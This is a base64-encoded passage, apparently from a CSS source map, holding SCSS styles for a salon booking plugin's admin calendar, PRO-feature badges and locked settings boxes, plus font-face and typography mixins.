ZvbnQtc2l6ZTogMC45MnJlbTtcbiAgICAgICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICAgICAgb3BhY2l0eTogMC44O1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlfX2hlYWRlciAuc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24ge1xuICBkaXNwbGF5OiBub25lO1xufVxuLnNsbi1ldmVudC1oZWFkZXItbW9yZS1pY29uIHtcbiAgbWFyZ2luLWxlZnQ6IGF1dG87XG4gIGNvbG9yOiB3aGl0ZTtcbn1cblxuLnNsbi1ldmVudC1oZWFkZXItbW9yZS1pY29uLXZlcnRpY2FsIHtcbiAgY29sb3I6IHdoaXRlO1xufVxuXG4uc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24tdmVydGljYWw6OmFmdGVyIHtcbiAgZm9udC1mYW1pbHk6ICdNYXRlcmlhbCBJY29ucyc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGU1ZDQnO1xuICBmb250LXNpemU6IDI1cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IHJvdy1yZXZlcnNlO1xufVxuXG4uc2xuLWV2ZW50LWhlYWRlci1tb3JlLWljb24taG9yaXpvbnRhbCB7XG4gIGNvbG9yOiBibGFjaztcbn1cblxuLnNsbi1ldmVudC1oZWFkZXItbW9yZS1pY29uLWhvcml6b250YWw6OmFmdGVyIHtcbiAgZm9udC1mYW1pbHk6ICdNYXRlcmlhbCBJY29ucyc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGU1ZDMnO1xuICBmb250LXNpemU6IDI1cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IHJvdy1yZXZlcnNlO1xufVxuXG4uc2xuLWR1cC1pY29uLXRvb2x0aXA6OmFmdGVyIHtcbiAgZm9udC1zaXplOiAxLjVyZW07XG4gIGZvbnQtZmFtaWx5OiAnRm9udEF3ZXNvbWUnO1xuICBmb250LXdlaWdodDogNDAwO1xuICBjb250ZW50OiAnXFxmMGM1JztcbiAgZm9udC1zaXplOiAxLjJyZW07XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgY29sb3I6ICMwOTc4YmQ7XG59XG5cbi5zbG4tZHVwLWNsb3NlLWljb24tdG9vbHRpcCB7XG4gIGNvbG9yOiBncmF5O1xufVxuXG4uc2xuLWR1cC1jbG9zZS1pY29uLXRvb2x0aXA6OmFmdGVyIHtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgY3Vyc29yOiBkZWZhdWx0O1xuICBmb250LXNpemU6IDEuNXJlbTtcbiAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIGNvbnRlbnQ6ICdcXGYwYzUnO1xuICBmb250LXNpemU6IDEuMnJlbTtcbiAgY29sb3I6IGdyYXk7XG59XG5cbi8vIOKUgOKUgOKUgCBQUk8gYmFkZ2U6IFwiKGF2YWlsYWJsZSBvbiBQUk8gZWRpdGlvbikgW2Nyb3duXVwiIGFwcGVuZGVkIHRvIGxvY2tlZCB0aXRsZXNcbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1wcm8tYmFkZ2Uge1xuICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgZ2FwOiA1cHg7XG4gICAgbWFyZ2luLWxlZnQ6IDEwcHg7XG4gICAgZm9udC1zaXplOiAwLjcyZW07XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBjb2xvcjogIzQxODBiZjtcbiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cbiAgICAmX190ZXh0IHtcbiAgICAgIG9wYWNpdHk6IDAuOTtcbiAgICB9XG5cbiAgICAmX19jcm93biB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICB3aWR0aDogMjJweDtcbiAgICAgIGhlaWdodDogMjJweDtcbiAgICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgICAgYmFja2dyb3VuZC1zaXplOiBjb250YWluO1xuICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjtcbiAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAvLyBTYW1lIGNyb3duIFNWRyB1c2VkIGluIHNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvblxuICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMzUnIGhlaWdodD0nMzUnIHZpZXdCb3g9JzAgMCAzNSAzNScgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ2NpcmNsZSBjeD0nMTcuNScgY3k9JzE3LjUnIHI9JzE3LjUnIGZpbGw9JyUyMzFGN0REQicvJTNFJTNDZyBjbGlwLXBhdGg9J3VybCglMjNjbGlwMF8wXzEpJyUzRSUzQ3BhdGggZmlsbC1ydWxlPSdldmVub2RkJyBjbGlwLXJ1bGU9J2V2ZW5vZGQnIGQ9J00xOC40MzMgMTAuMTkzNUMxOC4zMTA3IDEwLjAxODggMTguMTEwOSA5LjkxNDc5IDE3Ljg5NzcgOS45MTQ3OUMxNy42ODQ1IDkuOTE0NzkgMTcuNDg0NyAxMC4wMTg4IDE3LjM2MjQgMTAuMTkzNUwxMy4yMzUyIDE2LjA4OTZMOS44NjU0NCAxMi43MTk4QzkuNjc4NTYgMTIuNTMyOSA5LjM5NzUyIDEyLjQ3NyA5LjE1MzM2IDEyLjU3ODJDOC45MDkyIDEyLjY3OTMgOC43NSAxMi45MTc2IDguNzUgMTMuMTgxOFYyMS42NzYyQzguNzUgMjIuMzY5MyA5LjAyNTM2IDIzLjAzNDEgOS41MTU1MiAyMy41MjQzQzEwLjAwNTcgMjQuMDE0NCAxMC42NzA1IDI0LjI4OTggMTEuMzYzNiAyNC4yODk4SDI0LjQzMThDMjUuMTI1IDI0LjI4OTggMjUuNzg5NyAyNC4wMTQ0IDI2LjI3OTkgMjMuNTI0M0MyNi43NzAxIDIzLjAzNDEgMjcuMDQ1NSAyMi4zNjkzIDI3LjA0NTUgMjEuNjc2MlYxMy4xODE4QzI3LjA0NTUgMTIuOTE3NiAyNi44ODYzIDEyLjY3OTMgMjYuNjQyIDEyLjU3ODJDMjYuMzk3OSAxMi40NzcgMjYuMTE2OCAxMi41MzI5IDI1LjkzIDEyLjcxOThMMjIuNTYwMyAxNi4wODk2TDE4LjQzMyAxMC4xOTM1WicgZmlsbD0nJTIzRkZDMTE4Jy8lM0UlM0MvZyUzRSUzQ2RlZnMlM0UlM0NjbGlwUGF0aCBpZD0nY2xpcDBfMF8xJyUzRSUzQ3JlY3Qgd2lkdGg9JzE4LjI5NTUnIGhlaWdodD0nMTguMjk1NScgZmlsbD0nd2hpdGUnIHRyYW5zZm9ybT0ndHJhbnNsYXRlKDguNzUgNy45NTQ1OSknLyUzRSUzQy9jbGlwUGF0aCUzRSUzQy9kZWZzJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICB9XG4gIH1cbn1cblxuLy8g4pSA4pSA4pSAIFNldHRpbmdzIHBhZ2U6IGxvY2sgY29udGVudCBpbnNpZGUgZ2F0ZWQgcGF5bWVudCBzZWN0aW9uIGJveGVzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgFxuLy8gVGhlIHN0YW5kYXJkIC5zbG4tcHJvZmVhdHVyZV9faW5wdXQgbWVjaGFuaXNtIHJlcXVpcmVzIGFuIGV4cGxpY2l0IHdyYXBwZXIgZGl2LlxuLy8gSW4gdGhlIHBheW1lbnRzIHNldHRpbmdzLCBjb250ZW50IHNpdHMgZGlyZWN0bHkgaW5zaWRlIC5zbG4tYm94IOKAlCBzbyB3ZSB0YXJnZXRcbi8vIHRoZSBjb2xsYXBzaWJsZSBwYW5lbCBhbmQgcm93IGNoaWxkcmVuIG9mIGFueSBsb2NrZWQgYm94IGluc3RlYWQuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXByb2ZlYXR1cmUtLWRpc2FibGVkLnNsbi1ib3gge1xuICA+IC5zbG4tYm94X19wYW5lbGNvbGxhcHNlLFxuICA+IC5jb2xsYXBzZSxcbiAgPiAucm93IHtcbiAgICBvcGFjaXR5OiAwLjY7XG4gICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgY3Vyc29yOiBub3QtYWxsb3dlZDtcbiAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgfVxufVxuXG4vLyBNb2JpbGUgUFdBIGNhbGVuZGFyIHByb21vIChmcmVlICsgUFJPIHNoZWxscyk6IF9hZG1pbl9jYWxlbmRhci5zY3NzICguc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXApLlxuaHRtbC5zbG4taGlkZS1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbyAjc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXAge1xuICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG59XG4iLCJAdXNlIFwiY29sb3JzXCI7XG5AdXNlIFwiY29sb3JzLW51XCI7XG5cbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy8gLy8vIE1BVEVSSUFMIElDT05TXG4vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy9cbi8vQGltcG9ydCBcImh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vaWNvbj9mYW1pbHk9TWF0ZXJpYWwrSWNvbnNcIjtcblxuLyogRklYIDA5MjAyM1xuQGZvbnQtZmFjZSB7XG4gIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgc3JjOiB1cmwoaHR0cHM6Ly9mb250cy5nc3RhdGljLmNvbS9zL21hdGVyaWFsaWNvbnMvdjQ4L2ZsVWhScTZ0elpjbFFFSi1WZGctSXVpYURzTmNJaFE4dFEud29mZjIpXG4gICAgZm9ybWF0KFwid29mZjJcIik7XG59XG4ubWF0ZXJpYWwtaWNvbnMge1xuICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xuICBmb250LXN0eWxlOiBub3JtYWw7XG4gIGZvbnQtc2l6ZTogMjRweDtcbiAgbGluZS1oZWlnaHQ6IDE7XG4gIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gIHdvcmQtd3JhcDogbm9ybWFsO1xuICBkaXJlY3Rpb246IGx0cjtcbiAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbn1cbiovXG4vLyAvLy8gTUFURVJJQUwgSUNPTlMgLy8gRU5EXG5AdXNlIFwic2V0dGluZ3MtbWl4aW5zXCI7XG5AaW1wb3J0IFwiaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M\u002FZmFtaWx5PU9wZW4rU2FuczozMDAsNDAwLDYwMCw3MDBcIjtcbiRmb250ZmFtaWx5LS1tYWluOiBcIk9wZW4gU2Fuc1wiLCBzYW5zLXNlcmlmO1xuI3Nsbi1zYWxvbiB7XG5cdGZvbnQtZmFtaWx5OiAkZm9udGZhbWlseS0tbWFpbjtcblx0Zm9udC13ZWlnaHQ6IDQwMDtcblx0aDEsXG5cdGgyLFxuXHRoMyxcblx0aDQsXG5cdGg1LFxuXHRoNiB7XG5cdFx0Zm9udC1mYW1pbHk6ICRmb250ZmFtaWx5LS1tYWluO1xuXHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdH1cblx0cCxcblx0dWwsXG5cdGxpIHtcblx0XHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHR9XG5cdGJ1dHRvbixcblx0aW5wdXQsXG5cdG9wdGdyb3VwLFxuXHRzZWxlY3QsXG5cdHRleHRhcmVhIHtcblx0XHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0fVxuXHRhIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHR9XG59XG4vLyBTSVpFU1xuQG1peGluIGZvbnQtYmlnZ2VyKCRmb250U2l6ZTogbnVsbCwgJGxpbkhlaWdodDogbnVsbCkge1xuXHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0JGZvbnRTaXplSGFsZjogY2FsYygkZm9udFNpemUgLyAyKTtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKTtcblx0XHRsaW5lLWhlaWdodDogY2FsYyhcblx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpfSArXG5cdFx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemVIYWxmKX1cblx0XHQpO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdH1cblx0QGlmICgkbGluSGVpZ2h0KSB7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oJGxpbkhlaWdodCk7XG5cdH1cbn1cbkBtaXhpbiBmb250LWJpZygkZm9udFNpemU6IG51bGwsICRsaW5IZWlnaHQ6IG51bGwpIHtcblx0Zm9udC1mYW1pbHk6ICRmb250ZmFtaWx5LS1tYWluO1xuXHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdCRmb250U2l6ZUhhbGY6IGNhbGMoJGZvbnRTaXplIC8gMik7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZSk7XG5cdFx0bGluZS1oZWlnaHQ6IGNhbGMoXG5cdFx0XHQje3NldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKX0gK1xuXHRcdFx0XHQje3NldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplSGFsZil9XG5cdFx0KTtcblx0fSBAZWxzZSB7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNyk7XG5cdH1cblx0QGlmICgkbGluSGVpZ2h0KSB7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oJGxpbkhlaWdodCk7XG5cdH1cbn1cbkBtaXhpbiBmb250LW1lZGl1bSgkZm9udFNpemU6IG51bGwsICRsaW5IZWlnaHQ6IG51bGwpIHtcblx0Zm9udC1mYW1pbHk6ICRmb250ZmFtaWx5LS1tYWluO1xuXHRmb250LXdlaWdodDogbm9ybWFsO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdCRmb250U2l6ZUhhbGY6IGNhbGMoJGZvbnRTaXplIC8gMik7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKCRmb250U2l6ZSk7XG5cdFx0bGluZS1oZWlnaHQ6IGNhbGMoXG5cdFx0XHQje3NldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKX0gK1xuXHRcdFx0XHQje3NldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplSGFsZil9XG5cdFx0KTtcblx0fSBAZWxzZSB7XG5cdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2KTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNCk7XG5cdH1cblx0QGlmICgkbGluSGVpZ2h0KSB7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oJGxpbkhlaWdodCk7XG5cdH1cbn1cbkBtaXhpbiBmb250LXNtYWxsKCRmb250U2l6ZTogbnVsbCwgJGxpbkhlaWdodDogbnVsbCkge1xuXHRmb250LWZhbWlseTogJGZvbnRmYW1pbHktLW1haW47XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdEBpZiAoJGZvbnRTaXplKSB7XG5cdFx0JGZvbnRTaXplSGFsZjogY2FsYygkZm9udFNpemUgLyAyKTtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oJGZvbnRTaXplKTtcblx0XHRsaW5lLWhlaWdodDogY2FsYyhcblx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemUpfSArXG5cdFx0XHRcdCN7c2V0dGluZ3MtbWl4aW5zLnJlbSgkZm9udFNpemVIYWxmKX1cblx0XHQpO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTQpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIxKTtcblx0fVxuXHRAaWYgKCRsaW5IZWlnaHQpIHtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgkbGluSGVpZ2h0KTtcblx0fVxufVxuXG5AbWl4aW4gZm9udC1pY29uKCRmb250U2l6ZTogbnVsbCkge1xuXHRmb250LWZhbWlseTogXCJGb250QXdlc29tZVwiO1xuXHRmb250LXdlaWdodDogOTAwO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdGZvbnQtc2l6ZTogJGZvbnRTaXplO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRsaW5lLWhlaWdodDogMDtcblx0fVxufVxuQG1peGluIGZvbnQtaWNvbi0tbSgkZm9udFNpemU6IG51bGwpIHtcblx0Zm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMTtcblx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0dGV4dC10cmFuc2Zvcm06IG5vbmU7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0d29yZC13cmFwOiBub3JtYWw7XG5cdGRpcmVjdGlvbjogbHRyO1xuXHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdGZvbnQtc2l6ZTogJGZvbnRTaXplO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRsaW5lLWhlaWdodDogMDtcblx0fVxufVxuXG5AbWl4aW4gZm9udC1pY29uLS1mYSgkZm9udFNpemU6IG51bGwpIHtcblx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRmb250LXdlaWdodDogOTAwO1xuXHRsaW5lLWhlaWdodDogMTtcblx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0dGV4dC10cmFuc2Zvcm06IG5vbmU7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0d29yZC13cmFwOiBub3JtYWw7XG5cdGRpcmVjdGlvbjogbHRyO1xuXHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHRAaWYgKCRmb250U2l6ZSkge1xuXHRcdGZvbnQtc2l6ZTogJGZvbnRTaXplO1xuXHRcdGxpbmUtaGVpZ2h0OiAwO1xuXHR9IEBlbHNlIHtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRsaW5lLWhlaWdodDogMDtcblx0fVxufVxuXG4vLyBTSVpFUyAvLyBFTkRcbi8vIEdFTkVSQUxcblxuJXNsbi10ZXh0c2l6ZS0tYmlnZ2VyIHtcblx0Zm9udC1zaXplOiAxLjRlbTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRmb250LXNpemU6IDEuNmVtO1xuXHR9XG59XG4lc2xuLXRleHRzaXplLS1iaWctLW5vaGVpZ2h0IHtcblx0Zm9udC1zaXplOiAxLjRlbTtcbn1cbiVzbG4tdGV4dHNpemUtLW1lZGl1bS0tbm9oZWlnaHQge1xuXHRmb250LXNpemU6IDEuMmVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tYmFzZS0tbm9oZWlnaHQge1xuXHRmb250LXNpemU6IDFlbTtcbn1cbiVzbG4tdGV4dHNpemUtLXNtYWxsLS1ub2hlaWdodCB7XG5cdGZvbnQtc2l6ZTogMC44ZW07XG59XG4lc2xuLXRleHRzaXplLS1zbWFsbGVyLS1ub2hlaWdodCB7XG5cdGZvbnQtc2l6ZTogMC42ZW07XG59XG5cbiVzbG4tdGV4dHNpemUtLWJpZyB7XG5cdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmlnLS1ub2hlaWdodDtcblx0bGluZS1oZWlnaHQ6IDEuOGVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tbWVkaXVtIHtcblx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1tZWRpdW0tLW5vaGVpZ2h0O1xuXHRsaW5lLWhlaWdodDogMS42ZW07XG59XG4lc2xuLXRleHRzaXplLS1iYXNlIHtcblx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iYXNlLS1ub2hlaWdodDtcblx0bGluZS1oZWlnaHQ6IDEuNGVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tc21hbGwge1xuXHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLXNtYWxsLS1ub2hlaWdodDtcblx0bGluZS1oZWlnaHQ6IDEuNGVtO1xufVxuJXNsbi10ZXh0c2l6ZS0tc21hbGxlciB7XG5cdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tc21hbGxlci0tbm9oZWlnaHQ7XG5cdGxpbmUtaGVpZ2h0OiAxLjRlbTtcbn1cblxuQG1peGluIHRleHRzaXplKCR0ZXh0c2l6ZTogbnVsbCkge1xuXHRAaWYgJHRleHRzaXplID09IGJpZ2dlciB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWdnZXI7XG5cdH0gQGVsc2UgaWYgJHRleHRzaXplID09IGJpZyB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWc7XG5cdH0gQGVsc2UgaWYgJHRleHRzaXplID09IG1lZGl1bSB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1tZWRpdW07XG5cdH0gQGVsc2UgaWYgJHRleHRzaXplID09IGJhc2Uge1xuXHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmFzZTtcblx0fSBAZWxzZSBpZiAkdGV4dHNpemUgPT0gc21hbGwge1xuXHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tc21hbGw7XG5cdH0gQGVsc2UgaWYgJHRleHRzaXplID09IHNtYWxsZXIge1xuXHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tc21hbGxlcjtcblx0fVxufVxuI3Nsbi1zYWxvbiB7XG5cdGZvbnQtc2l6ZTogbWF4KDFyZW0sIDE2cHgpO1xuXHRoMSB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iaWdnZXI7XG5cdH1cblx0aDIge1xuXHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmlnO1xuXHRcdCYuc2xuLXNhbG9uLXRpdGxlIHtcblx0XHRcdEBleHRlbmQgJXNsbi10ZXh0c2l6ZS0tYmlnZ2VyO1xuXHRcdH1cblx0fVxuXHRoMyB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1tZWRpdW07XG5cdH1cblx0cCB7XG5cdFx0QGV4dGVuZCAlc2xuLXRleHRzaXplLS1iYXNlO1xuXHR9XG5cdC5zbG4tc2Fsb24tdGl0bGUge1xuXHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0fVxuXHQuc2Fsb24tc3RlcC10aXRsZSB7XG5cdFx0Ly9AZXh0ZW5kICV0ZXh0LWNvbG9yLS1jb250cmFzdDtcblx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1kYXJrKDEpO1xuXHR9XG5cdC5zYWxvbi1zdGVwLXRpdGxlIHtcblx0XHRAZXh0ZW5kICVzbG4tdGV4dHNpemUtLWJhc2U7XG5cdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0fVxufVxuLy8lc2xuLXRpdGxlLS1tZWRpdW0ge2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTt9XG4lc2xuLXRpdGxlLS1tZWRpdW0ge1xuXHRmb250LXNpemU6IDJlbTtcbn1cbi8vIEdFTkVSQUwgLy8gRU5EXG5cbi8vIENPTE9SU1xuLnNsbi10ZXh0LS1tYWluIHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tbWFpbjtcbn1cbi5zbG4tdGV4dC0tY29udHJhc3Qge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1jb250cmFzdDtcbn1cbi5zbG4tdGV4dC0tY29udHJhc3QtLWFscGhhIHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tY29udHJhc3QtLWFscGhhO1xufVxuLnNsbi10ZXh0LS1kYXJrIHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tZGFyaztcbn1cbi5zbG4tdGV4dC0tZW1waGFzaXMge1xuXHRAZXh0ZW5kICV0ZXh0LWNvbG9yLS1lbXBoYXNpcztcbn1cbi5zbG4tdGV4dC0tZW1waGFzaXMtLWhvdmVyayB7XG5cdEBleHRlbmQgJXRleHQtY29sb3ItLWVtcGhhc2lzLS1ob3Zlcjtcbn1cbi5zbG4tdGV4dC0tZ3JleSB7XG5cdEBleHRlbmQgJXRleHQtY29sb3ItLWdyZXk7XG59XG4uc2xuLXRleHQtLW9rIHtcblx0QGV4dGVuZCAldGV4dC1jb2xvci0tb2s7XG59XG4vLyBDT0xPUlMgLy8gRU5EXG5cbi8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvL1xuLy8gLy8vIEZPTlQgQVdFU09NRVxuLy8gLy8vIC8vLyAvLy8gLy8vIC8vLyAvLy8gLy8vIC8vXG4vLyAkZmEtZm9udC1wYXRoOiAgICAgICAgXCIuLi9mb250c1wiICFkZWZhdWx0O1xuJGZhLWZvbnQtcGF0aDogXCIuLi9mb250c1wiICFkZWZhdWx0O1xuJGZhLXZlcnNpb246IFwiNS4xNC4wXCIgIWRlZmF1bHQ7XG5AZm9udC1mYWNlIHtcblx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0c3JjOiB1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQuZW90P3Y9I3skZmEtdmVyc2lvbn1cIik7XG5cdHNyYzpcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQuZW90PyNpZWZpeCZ2PSN7JGZhLXZlcnNpb259XCIpXG5cdFx0XHRmb3JtYXQoXCJlbWJlZGRlZC1vcGVudHlwZVwiKSxcblx0XHR1cmwoXCIjeyRmYS1mb250LXBhdGh9L2ZvbnRhd2Vzb21lLXdlYmZvbnQud29mZjI\u002Fdj0jeyRmYS12ZXJzaW9ufVwiKVxuX